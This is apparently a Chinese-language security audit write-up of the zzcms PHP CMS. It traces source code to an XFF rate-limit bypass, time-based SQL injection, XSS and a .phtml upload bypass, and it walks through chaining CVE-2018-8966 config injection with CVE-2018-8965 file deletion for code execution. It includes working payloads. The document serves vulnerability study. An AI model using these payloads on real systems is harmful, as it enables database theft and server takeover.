先去看一下目录结构,文件有点多,像之前的看代码审计不行了,必须得学点新的审计方式了
先安装上 在安装说明里说要启用这么一个函数
allow_url_fopen
可能存在远程文件包含,先记着
/install 安装程序目录(安装时必须有可写入权限) /admin 默认后台管理目录(可任意改名) /user 注册用户管理程序存放目录 /skin 用户网站模板存放目录;更多用户网站模板可从http://www.zzcms.net/skin.asp 下载 /template 系统模板存放目录;更多系统模板可从http://www.zzcms.net/template.asp 下载 /inc 系统所用包含文件存放目录 /area 各地区显示文件 /zs 招商程序文件 /dl 代理 /zh 展会 /company 企业 /job 招聘 /zx 资讯 /special专题 /pp 品牌 /wangkan 网刊 /ask 问答 /zt 注册用户展厅页程序 /one 专存放单页面,如公司简介页,友情链接页,帮助页都放在这个目录里了 /ajax ajax程序处理页面 /reg 用户注册页面 /3 第三方插件存放目录 /3/ckeditor CK编缉器程序存放目录 /3/alipay 支付宝在线支付系统存放目录 /3/tenpay 财富通在线支付系统存放目录 /3/qq_connect2.0 qq登录接口文件 /3/ucenter_api discuz论坛用户同步登录接口文件 /3/kefu 在线客服代码 /3/mobile_msg 第三方手机短信API /3/phpexcelreader PHP读取excel文件组件 /cache 缓存文件 /uploadfiles 上传文件存放目录 /dl_excel 要导入的代理信息excel表格文件上传目录 /image 程序设计图片,swf文件存放目录 /flash 展厅用透明flash装饰动画存放目录 /js js文件存放目录 /html 静态页存放目录 /favicon.ico 地址栏左侧小图标文件 /web.config 伪静态规则文件for iis7(万网比较常用) /httpd.ini 伪静态规则文件for iss6 /.htaccess 伪静态规则文件for apache
根据文件的功能大致猜测了一下 会有那些漏洞,
3 第三方插件 哪里有手机短信 可能会存在逻辑漏洞
inc 系统包含文件所用目录,如果可写,可能存在文件包含+RCE
/uploadfiles 文件上传
看了一下admin目录
这里有个登陆功能,会限制访问次数,
在admin/logincheck.php 的 19行
调用了getip() 跟进
function getip(){ if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); }
很明显的xff绕过
密码就可以无限次的爆破
在下面的22行这里,有一处ip入库查询操作
$sql="select * from zzcms_login_times where ip='$ip' and count>='".trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";
$ip被单引号包住了,$ip没有经过过滤
存在注入
这里经过测试 当表中的内容为空时,延时注入不能实现,
这里需要先保证验证码是正确的,猜测一次,然后才可以注入,验证码正确后,会把ip记录到数据库中
payload
X-Forwarded-For:1' and if(ascii(substr((select database()),1,1))<9,sleep(10),sleep(5))-- +
在下面的记录ip次数这里,都调用了$IP变量
$sqln="select * from zzcms_login_times where ip='$ip'"; $rsn =query($sqln); $rown= num_rows($rsn); if ($rown){ $rown= fetch_array($rsn); if ($rown['count']>=trytimes && strtotime(date("Y-m-d H:i:s"))-strtotime($rown['sendtime'])>jgsj){//15分钟前登录过的归0 query("UPDATE zzcms_login_times SET count = 0 WHERE ip='$ip'"); } query("UPDATE zzcms_login_times SET count = count+1,sendtime='".date('Y-m-d H:i:s')."' WHERE ip='$ip'");//有记录的更新 }else{ query("INSERT INTO zzcms_login_times (count,sendtime,ip)VALUES(1,'".date('Y-m-d H:i:s')."','$ip')");
同样这里也存在注入问题
xff:1' and if(ascii(substr((select database()),1,1))<9,sleep(10),sleep(5))-- +
跟进一下验证码的验证过程
logincheck.php 31行
inc/function.php 234行
function checkyzm($yzm){ if($yzm!=$_SESSION["yzm_math"]){showmsg('验证问题答案错误!','back');} }
跟进session[yzm_math]
one/code_math.php
getCode(100, 20); function getCode($w, $h) { $im = imagecreate($w, $h); //imagecolorallocate($im, 14, 114, 180); // background color $black1 = imagecolorallocate($im, 0, 0, 0); $white = imagecolorallocate($im, 255, 255, 255); $num1 = rand(1, 20); $num2 = rand(1, 20); $_SESSION['yzm_math'] = $num1 + $num2;
可以前台这里直接审查元素,快速找到验证码是那个页面生成的
这里算是对一般验证码生成的一个了解吧,之前以为验证码是一张张保存好了的图片,这里是先生成随机数,在添加画背景,添加干扰像素,最后设置content-type:image/png 从而生成一张图片验证码
验证码的验证是保存在session中
既然admin登陆这里有注入,再去普通用户登陆看一下
先是有一个注册
这里对输入参数都有格式限制,注入不行了
再去看登陆
user/logincheck.php 18行
$ip=getip(); define('trytimes',5);//可尝试登录次数 define('jgsj',10*60);//间隔时间,秒 $sql="select * from zzcms_login_times where ip='$ip' and count>=".trytimes." and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";
和之前admin哪里同样的道理 ip注入
两个登陆处都已经看了,再去看看后台,一般来说都会有发布的功能
找到一处广告
admin/ad_manger.php
找到两处问题
1处sql注入 多处xss
67行 这里把$b带入了数据库查询,但是
$sql="select classname from zzcms_adclass where parentid='".$b."' order by xuhao";
回溯$b 19行
$b=isset($_REQUEST["b"])?$_REQUEST["b"]:'';
同样这里也不回显,延时盲注
延时注入有一个地方需要注意,就是and和or的特性 最好使用一组数据库中已经存在的数据,然后用and连接
这里有多处xss
随便找一个
<input name="keyword" type="text" id="keyword" value="<?php echo $keyword?>">
回溯keyword 17行
$keyword=isset($_REQUEST["keyword"])?$_REQUEST["keyword"]:'';
输出参数没有经过转义
post
keyword="><script>alert(1)</script>
ad_save.php 发布功能
这里有一个插入行的注入 36行
if ($_REQUEST["action"]=="add"){ query("INSERT INTO zzcms_ad (bigclassname,smallclassname,title,titlecolor,link,img,imgwidth,imgheight,username,starttime,endtime,elite,sendtime)VALUES('$bigclassname','$smallclassname','$title','$titlecolor','$link','$img','$imgwidth','$imgheight','$username','$starttime','$endtime','$elite','".date('Y-m-d H:i:s',time()-(showadvdate+1)*60*60*24)."')");
回溯$bigclassname $smallclassname 28行
$bigclassname=$_POST["bigclassid"]; $smallclassname=$_POST["smallclassid"];
在测试的时候发现单引号被转义,
在下面找到一个貌似可以xss的地方
78行这里 会把参数输出
<td width="33%" align="center" class="border"><a href="ad_manage.php?b=<?php echo $bigclassname?>&s=<?php echo $smallclassname?>&page=<?php echo $page?>">返回</a></td>
试了<>之后 发现也被转义了
找了好长时间,最好在inc/conn.php中找到
if($_REQUEST){ $_POST =zc_check($_POST); $_GET =zc_check($_GET); $_COOKIE =zc_check($_COOKIE); @extract($_POST); @extract($_GET); }
跟进zc_check函数
function zc_check($string){ if(!is_array($string)){ if(get_magic_quotes_gpc()){ return htmlspecialchars(trim($string)); }else{ return addslashes(htmlspecialchars(trim($string))); } } foreach($string as $k => $v) $string[$k] = zc_check($v); return $string; }
这里转义了post get cookie中的变量
根据之前审bluecms的教训,转义了单引号也没事,找到没有被单引号包住的参数,也能注入
最常用的数字型注入参数 就是id 直接全局搜一下id 碰碰运气
找到了好几个没有被引号包住的
admin\dl_sendsms.php 35行 33: $sql="select * from zzcms_dl where saver<>'' and id in (". $id .")";//ûÓнÓÊÕÈ˵ģ¬·ÇÁôÑÔÀà´úÀí²»Ó÷¢ÌáʾÓʼþ¡£ 34 }else{ 35: $sql="select * from zzcms_dl where saver<>'' and id=".$id.""; admin\showbad.php 30行 30: if (strpos($id,",")>0){ 31: $sql="delete from zzcms_bad where id in (". $id .")"; 39行 39 if ($action=="lockip"){ 40: if (strpos($id,",")>0){ 41: $sql="update zzcms_bad set lockip=1 where id in (". $id .")"; admin\userdel.php 30行 30: if (strpos($id,",")>0){ 31: $sql="select id,username from zzcms_user where id in (". $id .")"; admin\usernotreg.php 32行 32: if (strpos($id,",")>0){ 33: $sql="delete from zzcms_usernoreg where id in (". $id .")";
以admin/dl_sendmail.php为例
payload
id[]=1) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,sleep(5)%23
这里只演示一下漏洞存在 服务端会停顿一下在返回
因为延时盲注,必须要保证表中有数据
还有一处文件上传的地方
uploadimg_form.php
意外的小惊喜 发现了一处xss 67行
<input name="imgid" type="hidden" id="imgid" value="<?php echo @$_GET['imgid']?>" />
这个文件没有包含 config.php配置文件 也就是说,他的没有被转义
测试
上传文件的流程
uploadimg_from.php ==> uploadimg.php
uploadimg.php中 有一些限制 12行
content-type的限制 很容易绕过
private $uptypes = array ('image/jpg','image/jpeg','image/pjpeg','image/gif','image/png','image/x-png','image/bmp','application/x-shockwave-flash'); //只要不设定这种类型,php类的文件就无法上传'application/octet-stream'
还有一处对后缀的判断
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){ echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>";exit; }
phtml就可以绕过
这样就上传拿shell了
去找了两个危害较大并且能够互相利用的CVE 分析了一下
CVE-2018-8966
这个漏洞需要和下面的任意文件删除相配合,因为该漏洞需要利用install.php重新安装 而zzcms安装完毕后,会生成一个锁文件install.lock
利用过程和bluecms的RCE有点相似
重新安装zzcms
在网站访问地址这里写上
1');phpinfo();#
分析一下
install/index.php 105行
$fp="../inc/config.php"; $f = fopen($fp,'r'); $str = fread($f,filesize($fp)); fclose($f); $str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ; $str=str_replace("define('sqlport','".sqlport."')","define('sqlport','$db_port')",$str) ; $str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ; $str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ; $str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ; $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ; $str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ; $f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数 fputs($f,$str);//把替换后的内容写入文件 fclose($f);
这里会把配置信息写入到 inc/config.php中 重点看10 11行这里 把网站地址写入到配置文件中
闭合单引号 写入代码 截断后边
看下写入之后的config.php
define('siteurl','1');phpinfo();#') ;//网站地址 define('logourl','1');phpinfo();#/image/logo.png') ;//Logo地址
在访问一下 inc/config.php
当然这里也可以把代码换成xss
CVE-2018-8965
代码在/user/ppsave.php的61行
看第一处删除文件unlink
if ($oldimg<>$img && $oldimg<>"image/nopic.gif") { //deloldimg $f=$oldimg; if (file_exists($f)){ unlink($f); }
回溯$oldimg变量
65行
$oldimg=trim($_POST["oldimg"]);
等于没处理,下一步的if判断也很好满足 不等于就行
if ($oldimg<>$img && $oldimg<>"image/nopic.gif")
这两个漏洞加起来 RCE的漏洞还算是有点作用,要不然太鸡肋了
这次的审计 主要是去找网站的功能,找到相应的功能后,再去找对应的代码,然后回溯变量
这种在代码量比较大的情况下,还算是好用,不过会落下一些漏洞